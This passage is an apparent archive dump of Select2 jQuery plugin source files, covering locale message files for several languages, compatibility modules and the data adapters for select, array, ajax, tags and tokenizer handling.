      return 'Søger…';
    }
  };
});PK�}�\���11js/select2/i18n/ru.jsnu�[���define(function () {
  // Russian
  function ending (count, one, couple, more) {
    if (count % 10 < 5 && count % 10 > 0 &&
        count % 100 < 5 || count % 100 > 20) {
      if (count % 10 > 1) {
        return couple;
      }
    } else {
      return more;
    }

    return one;
  }

  return {
    errorLoading: function () {
      return 'Невозможно загрузить результаты';
    },
    inputTooLong: function (args) {
      var overChars = args.input.length - args.maximum;

      var message = 'Пожалуйста, введите на ' + overChars + ' символ';

      message += ending(overChars, '', 'a', 'ов');

      message += ' меньше';

      return message;
    },
    inputTooShort: function (args) {
      var remainingChars = args.minimum - args.input.length;

      var message = 'Пожалуйста, введите еще хотя бы ' + remainingChars +
        ' символ';

      message += ending(remainingChars, '', 'a', 'ов');

      return message;
    },
    loadingMore: function () {
      return 'Загрузка данных…';
    },
    maximumSelected: function (args) {
      var message = 'Вы можете выбрать не более ' + args.maximum + ' элемент';

      message += ending(args.maximum, '', 'a', 'ов');

      return message;
    },
    noResults: function () {
      return 'Совпадений не найдено';
    },
    searching: function () {
      return 'Поиск…';
    }
  };
});
PK�}�\j|�js/select2/i18n/zh-CN.jsnu�[���define(function () {
  // Chinese (Simplified)
  return {
    errorLoading: function () {
      return '无法载入结果。';
    },
    inputTooLong: function (args) {
      var overChars = args.input.length - args.maximum;

      var message = '请删除' + overChars + '个字符';

      return message;
    },
    inputTooShort: function (args) {
      var remainingChars = args.minimum - args.input.length;

      var message = '请再输入至少' + remainingChars + '个字符';

      return message;
    },
    loadingMore: function () {
      return '载入更多结果…';
    },
    maximumSelected: function (args) {
      var message = '最多只能选择' + args.maximum + '个项目';

      return message;
    },
    noResults: function () {
      return '未找到结果';
    },
    searching: function () {
      return '搜索中…';
    }
  };
});
PK�}�\����js/select2/i18n/dsb.jsnu�[���define(function () {
  // Lower Sorbian
  var charsWords = ['znamuško', 'znamušce', 'znamuška','znamuškow'];
  var itemsWords = ['zapisk', 'zapiska', 'zapiski','zapiskow'];

  var pluralWord = function pluralWord(numberOfChars, words) {
    if (numberOfChars === 1) {
        return words[0];
    } else if (numberOfChars === 2) {
      return words[1];
    }  else if (numberOfChars > 2 && numberOfChars <= 4) {
      return words[2];
    } else if (numberOfChars >= 5) {
      return words[3];
    }
  };
  
  return {
    errorLoading: function () {
      return 'Wuslědki njejsu se dali zacytaś.';
    },
    inputTooLong: function (args) {
      var overChars = args.input.length - args.maximum;

      return 'Pšosym lašuj ' + overChars + ' ' + 
        pluralWord(overChars, charsWords);
    },
    inputTooShort: function (args) {
      var remainingChars = args.minimum - args.input.length;
      
      return 'Pšosym zapódaj nanejmjenjej ' + remainingChars + ' ' +
        pluralWord(remainingChars, charsWords);
    },
    loadingMore: function () {
      return 'Dalšne wuslědki se zacytaju…';
    },
    maximumSelected: function (args) {
      return 'Móžoš jano ' + args.maximum + ' ' +
        pluralWord(args.maximum, itemsWords) + 'wubraś.';
    },
    noResults: function () {
      return 'Žedne wuslědki namakane';
    },
    searching: function () {
      return 'Pyta se…';
    }
  };
});
PK�}�\�����js/select2/i18n/ko.jsnu�[���define(function () {
  // Korean
  return {
    errorLoading: function () {
      return '결과를 불러올 수 없습니다.';
    },
    inputTooLong: function (args) {
      var overChars = args.input.length - args.maximum;

      var message = '너무 깁니다. ' + overChars + ' 글자 지워주세요.';

      return message;
    },
    inputTooShort: function (args) {
      var remainingChars = args.minimum - args.input.length;

      var message = '너무 짧습니다. ' + remainingChars + ' 글자 더 입력해주세요.';

      return message;
    },
    loadingMore: function () {
      return '불러오는 중…';
    },
    maximumSelected: function (args) {
      var message = '최대 ' + args.maximum + '개까지만 선택 가능합니다.';

      return message;
    },
    noResults: function () {
      return '결과가 없습니다.';
    },
    searching: function () {
      return '검색 중…';
    }
  };
});
PK�}�\o�:��js/select2/i18n/uk.jsnu�[���define(function () {
  // Ukranian
  function ending (count, one, couple, more) {
    if (count % 100 > 10 && count % 100 < 15) {
      return more;
    }
    if (count % 10 === 1) {
      return one;
    }
    if (count % 10 > 1 && count % 10 < 5) {
      return couple;
    }
    return more;
  }

  return {
    errorLoading: function () {
      return 'Неможливо завантажити результати';
    },
    inputTooLong: function (args) {
      var overChars = args.input.length - args.maximum;
      return 'Будь ласка, видаліть ' + overChars + ' ' +
        ending(args.maximum, 'літеру', 'літери', 'літер');
    },
    inputTooShort: function (args) {
      var remainingChars = args.minimum - args.input.length;
      return 'Будь ласка, введіть ' + remainingChars + ' або більше літер';
    },
    loadingMore: function () {
      return 'Завантаження інших результатів…';
    },
    maximumSelected: function (args) {
      return 'Ви можете вибрати лише ' + args.maximum + ' ' +
        ending(args.maximum, 'пункт', 'пункти', 'пунктів');
    },
    noResults: function () {
      return 'Нічого не знайдено';
    },
    searching: function () {
      return 'Пошук…';
    }
  };
});
PK�}�\��'x!!js/select2/i18n/hi.jsnu�[���define(function () {
  // Hindi
  return {
    errorLoading: function () {
      return 'परिणामों को लोड नहीं किया जा सका।';
    },
    inputTooLong: function (args) {
      var overChars = args.input.length - args.maximum;

      var message =  overChars + ' अक्षर को हटा दें';

      if (overChars > 1) {
        message = overChars + ' अक्षरों को हटा दें ';
      }

      return message;
    },
    inputTooShort: function (args) {
      var remainingChars = args.minimum - args.input.length;

      var message = 'कृपया ' + remainingChars + ' या अधिक अक्षर दर्ज करें';

      return message;
    },
    loadingMore: function () {
      return 'अधिक परिणाम लोड हो रहे है...';
    },
    maximumSelected: function (args) {
      var message = 'आप केवल ' + args.maximum + ' आइटम का चयन कर सकते हैं';
      return message;
    },
    noResults: function () {
      return 'कोई परिणाम नहीं मिला';
    },
    searching: function () {
      return 'खोज रहा है...';
    }
  };
});
PK�}�\���js/select2/i18n/km.jsnu�[���define(function () {
  // Khmer
  return {
    errorLoading: function () {
      return 'មិនអាចទាញយកទិន្នន័យ';
    },
    inputTooLong: function (args) {
      var overChars = args.input.length - args.maximum;

      var message = 'សូមលុបចេញ  ' + overChars + ' អក្សរ';

      return message;
    },
    inputTooShort: function (args) {
      var remainingChars = args.minimum - args.input.length;

      var message = 'សូមបញ្ចូល' + remainingChars + ' អក្សរ រឺ ច្រើនជាងនេះ';

      return message;
    },
    loadingMore: function () {
      return 'កំពុងទាញយកទិន្នន័យបន្ថែម...';
    },
    maximumSelected: function (args) {
      var message = 'អ្នកអាចជ្រើសរើសបានតែ ' + args.maximum + ' ជម្រើសប៉ុណ្ណោះ';

      return message;
    },
    noResults: function () {
      return 'មិនមានលទ្ធផល';
    },
    searching: function () {
      return 'កំពុងស្វែងរក...';
    }
  };
});
PK�}�\g%��js/select2/i18n/lt.jsnu�[���define(function () {
  // rules from
  // http://www.unicode.org/cldr/charts/latest/supplemental/language_plural_rules.html#lt
  function ending(count, one, few, other) {
    if (count % 10 === 1 && (count % 100 < 11 || count % 100 > 19)) {
      return one;
    } else if (
      (count % 10 >= 2 && count % 10 <= 9) &&
      (count % 100 < 11 || count % 100 > 19)) {
      return few;
    } else {
      return other;
    }
  }

  return {
    inputTooLong: function (args) {
      var overChars = args.input.length - args.maximum;

      var message = 'Pašalinkite ' + overChars + ' simbol';

      message += ending(overChars, 'į', 'ius', 'ių');

      return message;
    },
    inputTooShort: function (args) {
      var remainingChars = args.minimum - args.input.length;

      var message = 'Įrašykite dar ' + remainingChars + ' simbol';

      message += ending(remainingChars, 'į', 'ius', 'ių');

      return message;
    },
    loadingMore: function () {
      return 'Kraunama daugiau rezultatų…';
    },
    maximumSelected: function (args) {
      var message = 'Jūs galite pasirinkti tik ' + args.maximum + ' element';

      message += ending(args.maximum, 'ą', 'us', 'ų');

      return message;
    },
    noResults: function () {
      return 'Atitikmenų nerasta';
    },
    searching: function () {
      return 'Ieškoma…';
    }
  };
});
PK�}�\�����js/select2/i18n/tr.jsnu�[���define(function () {
  // Turkish
  return {
    errorLoading: function (){
      return 'Sonuç yüklenemedi';
    },
    inputTooLong: function (args) {
      var overChars = args.input.length - args.maximum;

      var message = overChars + ' karakter daha girmelisiniz';

      return message;
    },
    inputTooShort: function (args) {
      var remainingChars = args.minimum - args.input.length;

      var message = 'En az ' + remainingChars + ' karakter daha girmelisiniz';

      return message;
    },
    loadingMore: function () {
      return 'Daha fazla…';
    },
    maximumSelected: function (args) {
      var message = 'Sadece ' + args.maximum + ' seçim yapabilirsiniz';

      return message;
    },
    noResults: function () {
      return 'Sonuç bulunamadı';
    },
    searching: function () {
      return 'Aranıyor…';
    }
  };
});
PK�}�\��Z��js/select2/i18n/az.jsnu�[���define(function () {
  // Azerbaijani
  return {
    inputTooLong: function (args) {
      var overChars = args.input.length - args.maximum;

      return overChars + ' simvol silin';
    },
    inputTooShort: function (args) {
      var remainingChars = args.minimum - args.input.length;

      return remainingChars + ' simvol daxil edin';
    },
    loadingMore: function () {
      return 'Daha çox nəticə yüklənir…';
    },
    maximumSelected: function (args) {
      return 'Sadəcə ' + args.maximum + ' element seçə bilərsiniz';
    },
    noResults: function () {
      return 'Nəticə tapılmadı';
    },
    searching: function () {
      return 'Axtarılır…';
    }
  };
});
PK�}�\�� ���js/select2/compat/utils.jsnu�[���define([
  'jquery'
], function ($) {
  function syncCssClasses ($dest, $src, adapter) {
    var classes, replacements = [], adapted;

    classes = $.trim($dest.attr('class'));

    if (classes) {
      classes = '' + classes; // for IE which returns object

      $(classes.split(/\s+/)).each(function () {
        // Save all Select2 classes
        if (this.indexOf('select2-') === 0) {
          replacements.push(this);
        }
      });
    }

    classes = $.trim($src.attr('class'));

    if (classes) {
      classes = '' + classes; // for IE which returns object

      $(classes.split(/\s+/)).each(function () {
        // Only adapt non-Select2 classes
        if (this.indexOf('select2-') !== 0) {
          adapted = adapter(this);

          if (adapted != null) {
            replacements.push(adapted);
          }
        }
      });
    }

    $dest.attr('class', replacements.join(' '));
  }

  return {
    syncCssClasses: syncCssClasses
  };
});
PK�}�\�c����js/select2/compat/matcher.jsnu�[���define([
  'jquery'
], function ($) {
  function oldMatcher (matcher) {
    function wrappedMatcher (params, data) {
      var match = $.extend(true, {}, data);

      if (params.term == null || $.trim(params.term) === '') {
        return match;
      }

      if (data.children) {
        for (var c = data.children.length - 1; c >= 0; c--) {
          var child = data.children[c];

          // Check if the child object matches
          // The old matcher returned a boolean true or false
          var doesMatch = matcher(params.term, child.text, child);

          // If the child didn't match, pop it off
          if (!doesMatch) {
            match.children.splice(c, 1);
          }
        }

        if (match.children.length > 0) {
          return match;
        }
      }

      if (matcher(params.term, data.text, data)) {
        return match;
      }

      return null;
    }

    return wrappedMatcher;
  }

  return oldMatcher;
});
PK�}�\�Ӯ��!js/select2/compat/containerCss.jsnu�[���define([
  'jquery',
  './utils'
], function ($, CompatUtils) {
  // No-op CSS adapter that discards all classes by default
  function _containerAdapter (clazz) {
    return null;
  }

  function ContainerCSS () { }

  ContainerCSS.prototype.render = function (decorated) {
    var $container = decorated.call(this);

    var containerCssClass = this.options.get('containerCssClass') || '';

    if ($.isFunction(containerCssClass)) {
      containerCssClass = containerCssClass(this.$element);
    }

    var containerCssAdapter = this.options.get('adaptContainerCssClass');
    containerCssAdapter = containerCssAdapter || _containerAdapter;

    if (containerCssClass.indexOf(':all:') !== -1) {
      containerCssClass = containerCssClass.replace(':all:', '');

      var _cssAdapter = containerCssAdapter;

      containerCssAdapter = function (clazz) {
        var adapted = _cssAdapter(clazz);

        if (adapted != null) {
          // Append the old one along with the adapted one
          return adapted + ' ' + clazz;
        }

        return clazz;
      };
    }

    var containerCss = this.options.get('containerCss') || {};

    if ($.isFunction(containerCss)) {
      containerCss = containerCss(this.$element);
    }

    CompatUtils.syncCssClasses($container, this.$element, containerCssAdapter);

    $container.css(containerCss);
    $container.addClass(containerCssClass);

    return $container;
  };

  return ContainerCSS;
});
PK�}�\��_��"js/select2/compat/initSelection.jsnu�[���define([
  'jquery'
], function ($) {
  function InitSelection (decorated, $element, options) {
    if (options.get('debug') && window.console && console.warn) {
      console.warn(
        'Select2: The `initSelection` option has been deprecated in favor' +
        ' of a custom data adapter that overrides the `current` method. ' +
        'This method is now called multiple times instead of a single ' +
        'time when the instance is initialized. Support will be removed ' +
        'for the `initSelection` option in future versions of Select2'
      );
    }

    this.initSelection = options.get('initSelection');
    this._isInitialized = false;

    decorated.call(this, $element, options);
  }

  InitSelection.prototype.current = function (decorated, callback) {
    var self = this;

    if (this._isInitialized) {
      decorated.call(this, callback);

      return;
    }

    this.initSelection.call(null, this.$element, function (data) {
      self._isInitialized = true;

      if (!$.isArray(data)) {
        data = [data];
      }

      callback(data);
    });
  };

  return InitSelection;
});
PK�}�\����js/select2/compat/query.jsnu�[���define([

], function () {
  function Query (decorated, $element, options) {
    if (options.get('debug') && window.console && console.warn) {
      console.warn(
        'Select2: The `query` option has been deprecated in favor of a ' +
        'custom data adapter that overrides the `query` method. Support ' +
        'will be removed for the `query` option in future versions of ' +
        'Select2.'
      );
    }

    decorated.call(this, $element, options);
  }

  Query.prototype.query = function (_, params, callback) {
    params.callback = callback;

    var query = this.options.get('query');

    query.call(null, params);
  };

  return Query;
});
PK�}�\���Q�� js/select2/compat/dropdownCss.jsnu�[���define([
  'jquery',
  './utils'
], function ($, CompatUtils) {
  // No-op CSS adapter that discards all classes by default
  function _dropdownAdapter (clazz) {
    return null;
  }

  function DropdownCSS () { }

  DropdownCSS.prototype.render = function (decorated) {
    var $dropdown = decorated.call(this);

    var dropdownCssClass = this.options.get('dropdownCssClass') || '';

    if ($.isFunction(dropdownCssClass)) {
      dropdownCssClass = dropdownCssClass(this.$element);
    }

    var dropdownCssAdapter = this.options.get('adaptDropdownCssClass');
    dropdownCssAdapter = dropdownCssAdapter || _dropdownAdapter;

    if (dropdownCssClass.indexOf(':all:') !== -1) {
      dropdownCssClass = dropdownCssClass.replace(':all:', '');

      var _cssAdapter = dropdownCssAdapter;

      dropdownCssAdapter = function (clazz) {
        var adapted = _cssAdapter(clazz);

        if (adapted != null) {
          // Append the old one along with the adapted one
          return adapted + ' ' + clazz;
        }

        return clazz;
      };
    }

    var dropdownCss = this.options.get('dropdownCss') || {};

    if ($.isFunction(dropdownCss)) {
      dropdownCss = dropdownCss(this.$element);
    }

    CompatUtils.syncCssClasses($dropdown, this.$element, dropdownCssAdapter);

    $dropdown.css(dropdownCss);
    $dropdown.addClass(dropdownCssClass);

    return $dropdown;
  };

  return DropdownCSS;
});
PK�}�\MPy�))js/select2/compat/inputData.jsnu�[���define([
  'jquery',
  '../utils'
], function ($, Utils) {
  function InputData (decorated, $element, options) {
    this._currentData = [];
    this._valueSeparator = options.get('valueSeparator') || ',';

    if ($element.prop('type') === 'hidden') {
      if (options.get('debug') && console && console.warn) {
        console.warn(
          'Select2: Using a hidden input with Select2 is no longer ' +
          'supported and may stop working in the future. It is recommended ' +
          'to use a `<select>` element instead.'
        );
      }
    }

    decorated.call(this, $element, options);
  }

  InputData.prototype.current = function (_, callback) {
    function getSelected (data, selectedIds) {
      var selected = [];

      if (data.selected || $.inArray(data.id, selectedIds) !== -1) {
        data.selected = true;
        selected.push(data);
      } else {
        data.selected = false;
      }

      if (data.children) {
        selected.push.apply(selected, getSelected(data.children, selectedIds));
      }

      return selected;
    }

    var selected = [];

    for (var d = 0; d < this._currentData.length; d++) {
      var data = this._currentData[d];

      selected.push.apply(
        selected,
        getSelected(
          data,
          this.$element.val().split(
            this._valueSeparator
          )
        )
      );
    }

    callback(selected);
  };

  InputData.prototype.select = function (_, data) {
    if (!this.options.get('multiple')) {
      this.current(function (allData) {
        $.map(allData, function (data) {
          data.selected = false;
        });
      });

      this.$element.val(data.id);
      this.$element.trigger('change');
    } else {
      var value = this.$element.val();
      value += this._valueSeparator + data.id;

      this.$element.val(value);
      this.$element.trigger('change');
    }
  };

  InputData.prototype.unselect = function (_, data) {
    var self = this;

    data.selected = false;

    this.current(function (allData) {
      var values = [];

      for (var d = 0; d < allData.length; d++) {
        var item = allData[d];

        if (data.id == item.id) {
          continue;
        }

        values.push(item.id);
      }

      self.$element.val(values.join(self._valueSeparator));
      self.$element.trigger('change');
    });
  };

  InputData.prototype.query = function (_, params, callback) {
    var results = [];

    for (var d = 0; d < this._currentData.length; d++) {
      var data = this._currentData[d];

      var matches = this.matches(params, data);

      if (matches !== null) {
        results.push(matches);
      }
    }

    callback({
      results: results
    });
  };

  InputData.prototype.addOptions = function (_, $options) {
    var options = $.map($options, function ($option) {
      return Utils.GetData($option[0], 'data');
    });

    this._currentData.push.apply(this._currentData, options);
  };

  return InputData;
});
PK�}�\�un}TTjs/select2/keys.jsnu�[���define([

], function () {
  var KEYS = {
    BACKSPACE: 8,
    TAB: 9,
    ENTER: 13,
    SHIFT: 16,
    CTRL: 17,
    ALT: 18,
    ESC: 27,
    SPACE: 32,
    PAGE_UP: 33,
    PAGE_DOWN: 34,
    END: 35,
    HOME: 36,
    LEFT: 37,
    UP: 38,
    RIGHT: 39,
    DOWN: 40,
    DELETE: 46
  };

  return KEYS;
});
PK�}�\e�����js/select2/translation.jsnu�[���define([
  'jquery',
  'require'
], function ($, require) {
  function Translation (dict) {
    this.dict = dict || {};
  }

  Translation.prototype.all = function () {
    return this.dict;
  };

  Translation.prototype.get = function (key) {
    return this.dict[key];
  };

  Translation.prototype.extend = function (translation) {
    this.dict = $.extend({}, translation.all(), this.dict);
  };

  // Static functions

  Translation._cache = {};

  Translation.loadPath = function (path) {
    if (!(path in Translation._cache)) {
      var translations = require(path);

      Translation._cache[path] = translations;
    }

    return new Translation(Translation._cache[path]);
  };

  return Translation;
});
PK�}�\6�\O��js/select2/dropdown.jsnu�[���define([
  'jquery',
  './utils'
], function ($, Utils) {
  function Dropdown ($element, options) {
    this.$element = $element;
    this.options = options;

    Dropdown.__super__.constructor.call(this);
  }

  Utils.Extend(Dropdown, Utils.Observable);

  Dropdown.prototype.render = function () {
    var $dropdown = $(
      '<span class="select2-dropdown">' +
        '<span class="select2-results"></span>' +
      '</span>'
    );

    $dropdown.attr('dir', this.options.get('dir'));

    this.$dropdown = $dropdown;

    return $dropdown;
  };

  Dropdown.prototype.bind = function () {
    // Should be implemented in subclasses
  };

  Dropdown.prototype.position = function ($dropdown, $container) {
    // Should be implmented in subclasses
  };

  Dropdown.prototype.destroy = function () {
    // Remove the dropdown from the DOM
    this.$dropdown.remove();
  };

  return Dropdown;
});
PK�}�\���9js/select2/data/base.jsnu�[���define([
  '../utils'
], function (Utils) {
  function BaseAdapter ($element, options) {
    BaseAdapter.__super__.constructor.call(this);
  }

  Utils.Extend(BaseAdapter, Utils.Observable);

  BaseAdapter.prototype.current = function (callback) {
    throw new Error('The `current` method must be defined in child classes.');
  };

  BaseAdapter.prototype.query = function (params, callback) {
    throw new Error('The `query` method must be defined in child classes.');
  };

  BaseAdapter.prototype.bind = function (container, $container) {
    // Can be implemented in subclasses
  };

  BaseAdapter.prototype.destroy = function () {
    // Can be implemented in subclasses
  };

  BaseAdapter.prototype.generateResultId = function (container, data) {
    var id = container.id + '-result-';

    id += Utils.generateChars(4);

    if (data.id != null) {
      id += '-' + data.id.toString();
    } else {
      id += '-' + Utils.generateChars(4);
    }
    return id;
  };

  return BaseAdapter;
});
PK�}�\h3L���js/select2/data/ajax.jsnu�[���define([
  './array',
  '../utils',
  'jquery'
], function (ArrayAdapter, Utils, $) {
  function AjaxAdapter ($element, options) {
    this.ajaxOptions = this._applyDefaults(options.get('ajax'));

    if (this.ajaxOptions.processResults != null) {
      this.processResults = this.ajaxOptions.processResults;
    }

    AjaxAdapter.__super__.constructor.call(this, $element, options);
  }

  Utils.Extend(AjaxAdapter, ArrayAdapter);

  AjaxAdapter.prototype._applyDefaults = function (options) {
    var defaults = {
      data: function (params) {
        return $.extend({}, params, {
          q: params.term
        });
      },
      transport: function (params, success, failure) {
        var $request = $.ajax(params);

        $request.then(success);
        $request.fail(failure);

        return $request;
      }
    };

    return $.extend({}, defaults, options, true);
  };

  AjaxAdapter.prototype.processResults = function (results) {
    return results;
  };

  AjaxAdapter.prototype.query = function (params, callback) {
    var matches = [];
    var self = this;

    if (this._request != null) {
      // JSONP requests cannot always be aborted
      if ($.isFunction(this._request.abort)) {
        this._request.abort();
      }

      this._request = null;
    }

    var options = $.extend({
      type: 'GET'
    }, this.ajaxOptions);

    if (typeof options.url === 'function') {
      options.url = options.url.call(this.$element, params);
    }

    if (typeof options.data === 'function') {
      options.data = options.data.call(this.$element, params);
    }

    function request () {
      var $request = options.transport(options, function (data) {
        var results = self.processResults(data, params);

        if (self.options.get('debug') && window.console && console.error) {
          // Check to make sure that the response included a `results` key.
          if (!results || !results.results || !$.isArray(results.results)) {
            console.error(
              'Select2: The AJAX results did not return an array in the ' +
              '`results` key of the response.'
            );
          }
        }

        callback(results);
      }, function () {
        // Attempt to detect if a request was aborted
        // Only works if the transport exposes a status property
        if ('status' in $request &&
            ($request.status === 0 || $request.status === '0')) {
          return;
        }

        self.trigger('results:message', {
          message: 'errorLoading'
        });
      });

      self._request = $request;
    }

    if (this.ajaxOptions.delay && params.term != null) {
      if (this._queryTimeout) {
        window.clearTimeout(this._queryTimeout);
      }

      this._queryTimeout = window.setTimeout(request, this.ajaxOptions.delay);
    } else {
      request();
    }
  };

  return AjaxAdapter;
});
PK�}�\�g���js/select2/data/array.jsnu�[���define([
  './select',
  '../utils',
  'jquery'
], function (SelectAdapter, Utils, $) {
  function ArrayAdapter ($element, options) {
    var data = options.get('data') || [];

    ArrayAdapter.__super__.constructor.call(this, $element, options);

    this.addOptions(this.convertToOptions(data));
  }

  Utils.Extend(ArrayAdapter, SelectAdapter);

  ArrayAdapter.prototype.select = function (data) {
    var $option = this.$element.find('option').filter(function (i, elm) {
      return elm.value == data.id.toString();
    });

    if ($option.length === 0) {
      $option = this.option(data);

      this.addOptions($option);
    }

    ArrayAdapter.__super__.select.call(this, data);
  };

  ArrayAdapter.prototype.convertToOptions = function (data) {
    var self = this;

    var $existing = this.$element.find('option');
    var existingIds = $existing.map(function () {
      return self.item($(this)).id;
    }).get();

    var $options = [];

    // Filter out all items except for the one passed in the argument
    function onlyItem (item) {
      return function () {
        return $(this).val() == item.id;
      };
    }

    for (var d = 0; d < data.length; d++) {
      var item = this._normalizeItem(data[d]);

      // Skip items which were pre-loaded, only merge the data
      if ($.inArray(item.id, existingIds) >= 0) {
        var $existingOption = $existing.filter(onlyItem(item));

        var existingData = this.item($existingOption);
        var newData = $.extend(true, {}, item, existingData);

        var $newOption = this.option(newData);

        $existingOption.replaceWith($newOption);

        continue;
      }

      var $option = this.option(item);

      if (item.children) {
        var $children = this.convertToOptions(item.children);

        Utils.appendMany($option, $children);
      }

      $options.push($option);
    }

    return $options;
  };

  return ArrayAdapter;
});
PK�}�\YJOOjs/select2/data/tokenizer.jsnu�[���define([
  'jquery'
], function ($) {
  function Tokenizer (decorated, $element, options) {
    var tokenizer = options.get('tokenizer');

    if (tokenizer !== undefined) {
      this.tokenizer = tokenizer;
    }

    decorated.call(this, $element, options);
  }

  Tokenizer.prototype.bind = function (decorated, container, $container) {
    decorated.call(this, container, $container);

    this.$search =  container.dropdown.$search || container.selection.$search ||
      $container.find('.select2-search__field');
  };

  Tokenizer.prototype.query = function (decorated, params, callback) {
    var self = this;

    function createAndSelect (data) {
      // Normalize the data object so we can use it for checks
      var item = self._normalizeItem(data);

      // Check if the data object already exists as a tag
      // Select it if it doesn't
      var $existingOptions = self.$element.find('option').filter(function () {
        return $(this).val() === item.id;
      });

      // If an existing option wasn't found for it, create the option
      if (!$existingOptions.length) {
        var $option = self.option(item);
        $option.attr('data-select2-tag', true);

        self._removeOldTags();
        self.addOptions([$option]);
      }

      // Select the item, now that we know there is an option for it
      select(item);
    }

    function select (data) {
      self.trigger('select', {
        data: data
      });
    }

    params.term = params.term || '';

    var tokenData = this.tokenizer(params, this.options, createAndSelect);

    if (tokenData.term !== params.term) {
      // Replace the search term if we have the search box
      if (this.$search.length) {
        this.$search.val(tokenData.term);
        this.$search.focus();
      }

      params.term = tokenData.term;
    }

    decorated.call(this, params, callback);
  };

  Tokenizer.prototype.tokenizer = function (_, params, options, callback) {
    var separators = options.get('tokenSeparators') || [];
    var term = params.term;
    var i = 0;

    var createTag = this.createTag || function (params) {
      return {
        id: params.term,
        text: params.term
      };
    };

    while (i < term.length) {
      var termChar = term[i];

      if ($.inArray(termChar, separators) === -1) {
        i++;

        continue;
      }

      var part = term.substr(0, i);
      var partParams = $.extend({}, params, {
        term: part
      });

      var data = createTag(partParams);

      if (data == null) {
        i++;
        continue;
      }

      callback(data);

      // Reset the term to not include the tokenized portion
      term = term.substr(i + 1) || '';
      i = 0;
    }

    return {
      term: term
    };
  };

  return Tokenizer;
});
PK�}�\kG��f
f
js/select2/data/tags.jsnu�[���define([
  'jquery'
], function ($) {
  function Tags (decorated, $element, options) {
    var tags = options.get('tags');

    var createTag = options.get('createTag');

    if (createTag !== undefined) {
      this.createTag = createTag;
    }

    var insertTag = options.get('insertTag');

    if (insertTag !== undefined) {
        this.insertTag = insertTag;
    }

    decorated.call(this, $element, options);

    if ($.isArray(tags)) {
      for (var t = 0; t < tags.length; t++) {
        var tag = tags[t];
        var item = this._normalizeItem(tag);

        var $option = this.option(item);

        this.$element.append($option);
      }
    }
  }

  Tags.prototype.query = function (decorated, params, callback) {
    var self = this;

    this._removeOldTags();

    if (params.term == null || params.page != null) {
      decorated.call(this, params, callback);
      return;
    }

    function wrapper (obj, child) {
      var data = obj.results;

      for (var i = 0; i < data.length; i++) {
        var option = data[i];

        var checkChildren = (
          option.children != null &&
          !wrapper({
            results: option.children
          }, true)
        );

        var optionText = (option.text || '').toUpperCase();
        var paramsTerm = (params.term || '').toUpperCase();

        var checkText = optionText === paramsTerm;

        if (checkText || checkChildren) {
          if (child) {
            return false;
          }

          obj.data = data;
          callback(obj);

          return;
        }
      }

      if (child) {
        return true;
      }

      var tag = self.createTag(params);

      if (tag != null) {
        var $option = self.option(tag);
        $option.attr('data-select2-tag', true);

        self.addOptions([$option]);

        self.insertTag(data, tag);
      }

      obj.results = data;

      callback(obj);
    }

    decorated.call(this, params, wrapper);
  };

  Tags.prototype.createTag = function (decorated, params) {
    var term = $.trim(params.term);

    if (term === '') {
      return null;
    }

    return {
      id: term,
      text: term
    };
  };

  Tags.prototype.insertTag = function (_, data, tag) {
    data.unshift(tag);
  };

  Tags.prototype._removeOldTags = function (_) {
    var tag = this._lastTag;

    var $options = this.$element.find('option[data-select2-tag]');

    $options.each(function () {
      if (this.selected) {
        return;
      }

      $(this).remove();
    });
  };

  return Tags;
});
PK�}�\
��V^^js/select2/data/select.jsnu�[���define([
  './base',
  '../utils',
  'jquery'
], function (BaseAdapter, Utils, $) {
  function SelectAdapter ($element, options) {
    this.$element = $element;
    this.options = options;

    SelectAdapter.__super__.constructor.call(this);
  }

  Utils.Extend(SelectAdapter, BaseAdapter);

  SelectAdapter.prototype.current = function (callback) {
    var data = [];
    var self = this;

    this.$element.find(':selected').each(function () {
      var $option = $(this);

      var option = self.item($option);

      data.push(option);
    });

    callback(data);
  };

  SelectAdapter.prototype.select = function (data) {
    var self = this;

    data.selected = true;

    // If data.element is a DOM node, use it instead
    if ($(data.element).is('option')) {
      data.element.selected = true;

      this.$element.trigger('change');

      return;
    }

    if (this.$element.prop('multiple')) {
      this.current(function (currentData) {
        var val = [];

        data = [data];
        data.push.apply(data, currentData);

        for (var d = 0; d < data.length; d++) {
          var id = data[d].id;

          if ($.inArray(id, val) === -1) {
            val.push(id);
          }
        }

        self.$element.val(val);
        self.$element.trigger('change');
      });
    } else {
      var val = data.id;

      this.$element.val(val);
      this.$element.trigger('change');
    }
  };

  SelectAdapter.prototype.unselect = function (data) {
    var self = this;

    if (!this.$element.prop('multiple')) {
      return;
    }

    data.selected = false;

    if ($(data.element).is('option')) {
      data.element.selected = false;

      this.$element.trigger('change');

      return;
    }

    this.current(function (currentData) {
      var val = [];

      for (var d = 0; d < currentData.length; d++) {
        var id = currentData[d].id;

        if (id !== data.id && $.inArray(id, val) === -1) {
          val.push(id);
        }
      }

      self.$element.val(val);

      self.$element.trigger('change');
    });
  };

  SelectAdapter.prototype.bind = function (container, $container) {
    var self = this;

    this.container = container;

    container.on('select', function (params) {
      self.select(params.data);
    });

    container.on('unselect', function (params) {
      self.unselect(params.data);
    });
  };

  SelectAdapter.prototype.destroy = function () {
    // Remove anything added to child elements
    this.$element.find('*').each(function () {
      // Remove any custom data set by Select2
      Utils.RemoveData(this);
    });
  };

  SelectAdapter.prototype.query = function (params, callback) {
    var data = [];
    var self = this;

    var $options = this.$element.children();

    $options.each(function () {
      var $option = $(this);

      if (!$option.is('option') && !$option.is('optgroup')) {
        return;
      }

      var option = self.item($option);

      var matches = self.matches(params, option);

      if (matches !== null) {
        data.push(matches);
      }
    });

    callback({
      results: data
    });
  };

  SelectAdapter.prototype.addOptions = function ($options) {
    Utils.appendMany(this.$element, $options);
  };

  SelectAdapter.prototype.option = function (data) {
    var option;

    if (data.children) {
      option = document.createElement('optgroup');
      option.label = data.text;
    } else {
      option = document.createElement('option');

      if (option.textContent !== undefined) {
        option.textContent = data.text;
      } else {
        option.innerText = data.text;
      }
    }

    if (data.id !== undefined) {
      option.value = data.id;
    }

    if (data.disabled) {
      option.disabled = true;
    }

    if (data.selected) {
      option.selected = true;
    }

    if (data.title) {
      option.title = data.title;
    }

    var $option = $(option);

    var normalizedData = this._normalizeItem(data);
    normalizedData.element = option;

    // Override the option's data with the combined data
    Utils.StoreData(option, 'data', normalizedData);

    return $option;
  };

  SelectAdapter.prototype.item = function ($option) {
    var data = {};

    data = Utils.GetData($option[0], 'data');

    if (data != null) {
      return data;
    }

    if ($option.is('option')) {
      data = {
        id: $option.val(),
        text: $option.text(),
        disabled: $option.prop('disabled'),
        selected: $option.prop('selected'),
        title: $option.prop('title')
      };
